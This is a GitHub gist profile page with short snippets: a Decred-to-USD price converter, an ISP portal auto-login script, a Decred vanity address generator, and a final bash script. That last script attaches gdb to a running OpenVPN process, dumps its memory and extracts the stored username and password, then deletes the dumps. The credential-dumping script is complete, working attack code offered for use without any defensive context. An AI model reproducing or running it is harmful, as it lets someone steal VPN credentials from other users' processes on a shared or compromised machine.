Skip to content

Instantly share code, notes, and snippets.

View Retord's full-sized avatar

L Retord

View GitHub Profile
@Retord
Retord / DcrConverter.php
Created May 5, 2016 19:40
Simple DCR to USD
<?php
$dcrurl = "https://bittrex.com/api/v1.1/public/getmarketsummary?market=btc-dcr";
$usdurl = "https://bitpay.com/api/rates";
$dcrjson = file_get_contents($dcrurl);
$dcrdata = json_decode($dcrjson, TRUE);
$usdjson = file_get_contents($usdurl);
$usddata = json_decode($usdjson, TRUE);
@Retord
Retord / autoconnect.py
Last active March 25, 2016 12:39
Auto login into wishnet portal and connect to the internet when you get disconnected.
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.keys import Keys
import socket
import time
REMOTE_SERVER = "www.google.com"
login = 'http://192.168.183.201:9089/SEBS/Login.jsp'
def connect_it():
@Retord
Retord / gen.py
Last active January 5, 2016 19:30
Decred Address Generator
import subprocess
import os
import time
out = "out.txt" # The address, seed, private key output in out.txt
store = "store.txt" # the text file that will store all the generated address details
genex = "dcraddrgen.exe" # put the direct path link to the exe if its not in the same directory as the python code
req = "DsRick" # put your own name in place of 'Rick' (Make it less than 5 chars. should take lesser time
size = len(req)
got = False
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | grep -B2 KnOQ | grep -v KnOQ
rm *.dump --force